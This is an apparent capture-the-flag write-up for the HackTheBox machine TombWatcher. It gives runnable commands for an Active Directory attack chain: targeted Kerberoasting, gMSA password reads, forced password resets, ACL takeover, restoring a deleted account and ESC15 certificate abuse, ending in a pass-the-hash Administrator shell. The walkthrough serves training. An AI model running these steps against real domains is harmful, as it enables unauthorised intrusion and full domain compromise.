All writeups
HackTheBox: TombWatcher avatar
MACHINE Windows HackTheBox 3/5

HackTheBox: TombWatcher

2026-06-08 10 min read
Tracks CPTS

Introduction

TombWatcher is a Windows Domain Controller machine focused entirely on Active Directory permission abuse. Every step is a chain - you leverage one account’s misconfigured rights to reach the next. No exploits, no CVEs until the very end. Just AD misconfigurations all the way through.

Given credentials: henry : H3nry_987TGV!

The full chain:

  1. henry has WriteSPN over alfred → Targeted Kerberoast → crack alfred’s password (basketball)
  2. alfred can add itself to INFRASTRUCTURE group → read gMSA password for ansible_dev$
  3. ansible_dev$ has ForceChangePassword over sam → reset sam’s password
  4. sam has WriteOwner over john → take ownership → grant GenericAll → reset john’s password
  5. john is in Remote Management Users → WinRM shell → user flag
  6. john has GenericAll over the ADCS OU → restore deleted cert_admin from Recycle Bin
  7. cert_admin has enrollment rights on WebServer template → exploit ESC15 → get Administrator certificate → root flag

Key Concepts

What is BloodHound? A tool that maps out Active Directory permissions visually. It shows you who can do what to whom - like a road map for privilege escalation.

What is Kerberoasting? In Active Directory, accounts with a Service Principal Name (SPN) can be asked for a Kerberos ticket encrypted with their password hash. Anyone can request this ticket, and you can crack it offline. Targeted Kerberoasting means you set an SPN on an account first (if you have WriteSPN), then immediately Kerberoast it.

What is a gMSA? A Group Managed Service Account - an account whose password AD manages automatically. The password is stored in AD and readable only by specific groups. If you’re in the right group, you can pull the password hash directly.

What is GenericAll? Full control over an AD object - you can change its password, add it to groups, modify its attributes, etc. It’s the most powerful permission you can have over another account.

What is ADCS / ESC15? Active Directory Certificate Services issues digital certificates. ESC15 (CVE-2024-49019) is a vulnerability in old Schema Version 1 certificate templates - because they don’t enforce Application Policy restrictions, you can request a certificate with a Client Authentication policy added, turning it into something that can authenticate as any user, including Administrator.

What is the AD Recycle Bin? When AD objects are deleted, they’re not gone immediately - they sit in a “Recycle Bin” for a period of time and can be restored. Crucially, their SID and permissions are preserved, so a restored deleted account comes back with all its old rights.


Enumeration

Nmap

ports=$(nmap -p- --min-rate=1000 -T4 tombwatcher.htb | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV tombwatcher.htb

Key ports: 53 (DNS), 88 (Kerberos), 389/636 (LDAP), 445 (SMB), 5985 (WinRM).

This pattern = Windows Domain Controller. The cert subject confirms hostname: DC01.tombwatcher.htb, domain: tombwatcher.htb.

echo "<TARGET> tombwatcher.htb dc01.tombwatcher.htb" | sudo tee -a /etc/hosts

BloodHound: map out AD permissions

BloodHound collects everything about the domain (users, groups, permissions, ACLs) and shows it as a graph. Run it with your starting credentials:

bloodhound-python -d tombwatcher.htb -dc dc01.tombwatcher.htb \
  -u henry -p 'H3nry_987TGV!' \
  -c All -ns <TARGET> --dns-tcp --zip

Import the resulting ZIP into the BloodHound GUI. Search for henry and look at outbound edges. You’ll see:

HENRY --[WriteSPN]--> ALFRED

What does WriteSPN mean? You can set a Service Principal Name on alfred’s account. SPNs are what make an account Kerberoastable - once one is set, you can request a Kerberos ticket encrypted with alfred’s password.


Foothold: Targeted Kerberoast → henry to alfred

What’s happening

Since henry has WriteSPN over alfred, the targetedKerberoast tool will:

  1. Automatically set an SPN on alfred
  2. Request a Kerberos TGS ticket (encrypted with alfred’s password hash)
  3. Print the hash for offline cracking
python3 targetedKerberoast.py \
  -d tombwatcher.htb \
  -u henry -p 'H3nry_987TGV!' \
  --request-user alfred \
  --dc-ip <TARGET>

Download: https://github.com/ShutdownRepo/targetedKerberoast

You’ll get a hash starting with $krb5tgs$23$*Alfred$.... Save it to alfred.hash.

Crack the hash

hashcat -m 13100 alfred.hash /usr/share/wordlists/rockyou.txt

-m 13100 = Kerberos 5 TGS-REP hash type

Password: basketball

You now have: alfred : basketball


Lateral Movement: alfred → ansible_dev$ → sam → john

Step 1: alfred adds himself to INFRASTRUCTURE group

BloodHound shows:

ALFRED --[AddSelf]--> INFRASTRUCTURE

AddSelf means alfred can add himself to the group without any admin approval:

bloodyAD --host 'dc01.tombwatcher.htb' -d 'tombwatcher.htb' \
  -u 'alfred' -p 'basketball' \
  add groupMember 'INFRASTRUCTURE' 'alfred'

Step 2: Read the gMSA password for ansible_dev$

BloodHound shows:

INFRASTRUCTURE --[ReadGMSAPassword]--> ANSIBLE_DEV$

Members of INFRASTRUCTURE can read the managed password for ansible_dev$. Alfred is now in INFRASTRUCTURE, so:

bloodyAD --host 'dc01.tombwatcher.htb' -d 'tombwatcher.htb' \
  -u 'alfred' -p 'basketball' \
  get object 'ANSIBLE_DEV$' --attr msDS-ManagedPassword

Output:

msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:838b2bd83fbe39901be3713e8c79ce37

You now have the NTLM hash for ansible_dev$: 838b2bd83fbe39901be3713e8c79ce37

With gMSA accounts you use the hash directly - there’s no plaintext password to crack.

Step 3: ansible_dev$ resets sam’s password

BloodHound shows:

ANSIBLE_DEV$ --[ForceChangePassword]--> SAM

ForceChangePassword = you can reset another user’s password without knowing their current one:

bloodyAD --host 'dc01.tombwatcher.htb' -d 'tombwatcher.htb' \
  -u 'ANSIBLE_DEV$' -p :838b2bd83fbe39901be3713e8c79ce37 \
  set password sam 'Passw0rd123!'

Note: -p :HASH is how you authenticate with an NTLM hash in bloodyAD (colon before the hash, no plaintext).

You now have: sam : Passw0rd123!

Step 4: sam takes over john (WriteOwner chain)

BloodHound shows:

SAM --[WriteOwner]--> JOHN

WriteOwner = you can change who owns the john AD object. Once you’re the owner, you can grant yourself any permission - including GenericAll (full control).

Step 4a - Make sam the owner of john:

bloodyAD --host 'dc01.tombwatcher.htb' -d 'tombwatcher.htb' \
  -u 'sam' -p 'Passw0rd123!' \
  set owner john sam

Step 4b - Grant sam GenericAll over john:

bloodyAD --host 'dc01.tombwatcher.htb' -d 'tombwatcher.htb' \
  -u 'sam' -p 'Passw0rd123!' \
  add genericAll john sam

Step 4c - Reset john’s password:

bloodyAD --host 'dc01.tombwatcher.htb' -d 'tombwatcher.htb' \
  -u 'sam' -p 'Passw0rd123!' \
  set password john 'Passw0rd123!'

You now have: john : Passw0rd123!

Step 5: Log in as john via WinRM

BloodHound shows john is a member of Remote Management Users - meaning he can use WinRM:

evil-winrm -i dc01.tombwatcher.htb -u john -p 'Passw0rd123!'
*Evil-WinRM* PS C:\Users\john\Documents> whoami
tombwatcher\john

Grab user.txt from C:\Users\john\Desktop\user.txt.


Privilege Escalation: john → Administrator via ESC15

Step 1: Run Certipy to enumerate certificate templates

certipy-ad find -target dc01.tombwatcher.htb -u john -p 'Passw0rd123!'

In the output, the WebServer certificate template has something weird - one of its Enrollment Rights is an unresolved SID:

Enrollment Rights : TOMBWATCHER.HTB\Domain Admins
                    TOMBWATCHER.HTB\Enterprise Admins
                    S-1-5-21-1392491010-1358638721-2126982587-1111   ← no name!

Why no name? The account that owned this SID was deleted. But the permission is still there in the ACL, waiting. If we can restore the deleted account, it will have enrollment rights on this template again.

Step 2: Find the deleted account in the AD Recycle Bin

From your evil-winrm shell as john:

Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects `
  -Properties cn,objectSid,isDeleted | Where-Object { $_.isDeleted -eq $true }

You’ll see three deleted versions of cert_admin. The one that matches the SID ...-1111 has GUID: 938182c3-bf0b-410a-9aaa-45c8e1a02ebf.

Check its details to confirm:

Get-ADObject -Filter 'objectSid -eq "S-1-5-21-1392491010-1358638721-2126982587-1111"' `
  -IncludeDeletedObjects -Properties *

Look for LastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb - this tells us the account lived in the ADCS OU, which john has GenericAll over.

Step 3: Restore cert_admin from the Recycle Bin

Because john has GenericAll over the ADCS OU, and the restored object lands back in that OU, john can effectively undelete it:

Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"

Step 4: Propagate john’s GenericAll down to cert_admin

Restoring the object puts it back in the ADCS OU, but we need to explicitly push john’s GenericAll rights down to it as inherited permissions. Do this from your attacker machine:

impacket-dacledit \
  -action 'write' \
  -rights 'FullControl' \
  -inheritance \
  -principal 'john' \
  -target-dn 'OU=ADCS,DC=TOMBWATCHER,DC=HTB' \
  'TOMBWATCHER.HTB/john:Passw0rd123!'

What does -inheritance do? It makes the ACE flow down from the OU to all objects inside it - including the newly restored cert_admin.

Step 5: Reset cert_admin’s password

bloodyAD --host 'dc01.tombwatcher.htb' -d 'tombwatcher.htb' \
  -u 'john' -p 'Passw0rd123!' \
  set password cert_admin 'Passw0rd123!'

Step 6: Confirm ESC15 vulnerability as cert_admin

certipy-ad find -dc-host dc01.tombwatcher.htb \
  -u cert_admin@tombwatcher.htb -p 'Passw0rd123!' \
  -vulnerable -stdout

Output confirms:

Template Name      : WebServer
Schema Version     : 1
Enrollee Supplies Subject : True
[!] Vulnerabilities
    ESC15 : Enrollee supplies subject and schema version is 1.

Why is Schema Version 1 dangerous? Old templates (version 1) don’t enforce Application Policy constraints. This means you can add any Extended Key Usage (EKU) to your certificate request - including Client Authentication, which lets you authenticate as any user.

Step 7: Request an Enrollment Agent certificate

First, get a certificate for cert_admin with the Enrollment Agent application policy (1.3.6.1.4.1.311.20.2.1). This makes the cert function as an agent that can request certs on behalf of other users:

certipy req \
  -ca tombwatcher-CA-1 \
  -username cert_admin -p 'Passw0rd123!' \
  -dc-ip <TARGET> \
  -template WebServer \
  --application-policies '1.3.6.1.4.1.311.20.2.1' \
  -target-ip <TARGET>

This saves cert_admin.pfx.

Step 8: Request a certificate on behalf of Administrator

Using cert_admin.pfx as the Enrollment Agent, request a certificate issued to the Administrator account:

certipy req \
  -u cert_admin -p 'Passw0rd123!' \
  -dc-ip <TARGET> \
  -target-ip <TARGET> \
  -ca tombwatcher-CA-1 \
  -template User \
  -on-behalf-of 'tombwatcher\administrator' \
  -pfx cert_admin.pfx

This saves administrator.pfx.

Step 9: Authenticate with the certificate and get Administrator’s hash

certipy auth -dc-ip <TARGET> -pfx administrator.pfx

Output:

[*] Got hash for 'administrator@tombwatcher.htb':
aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc

Step 10: Log in as Administrator via WinRM (Pass-the-Hash)

evil-winrm -i dc01.tombwatcher.htb \
  -u administrator \
  -H f61db423bebe3328d33af26741afe5fc
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
tombwatcher\administrator

Grab root.txt from C:\Users\Administrator\Desktop\root.txt.


Summary

Given: henry : H3nry_987TGV!

BloodHound → henry has WriteSPN over alfred

targetedKerberoast → crack TGS hash → alfred : basketball

alfred has AddSelf → INFRASTRUCTURE group

INFRASTRUCTURE has ReadGMSAPassword → ansible_dev$ NTLM hash: 838b2bd...

ansible_dev$ has ForceChangePassword → reset sam's password

sam has WriteOwner → john → set owner → GenericAll → reset john's password

john in Remote Management Users → evil-winrm shell → user.txt

john has GenericAll over ADCS OU

Certipy finds unresolved SID on WebServer template enrollment rights

AD Recycle Bin → find cert_admin (SID matches) → Restore-ADObject

impacket-dacledit → propagate FullControl from ADCS OU to cert_admin

Reset cert_admin password → confirm ESC15 on WebServer template (Schema v1)

certipy req → Enrollment Agent cert (cert_admin.pfx)

certipy req -on-behalf-of administrator → administrator.pfx

certipy auth → Administrator NTLM hash

evil-winrm -H → shell as Administrator → root.txt

Tools Used

ToolWhat it doesLink
bloodhound-pythonCollects AD data for BloodHoundpip install bloodhound
BloodHoundVisualizes AD attack pathsGitHub
targetedKerberoastSets SPN + requests Kerberoastable ticketGitHub
hashcatCracks password hashessudo apt install hashcat
bloodyADModifies AD objects over LDAPpip install bloodyAD
evil-winrmWinRM shell clientgem install evil-winrm
certipy-adADCS enumeration and exploitationpip install certipy-ad
impacket-dacleditModifies AD ACLs (DACL)pip install impacket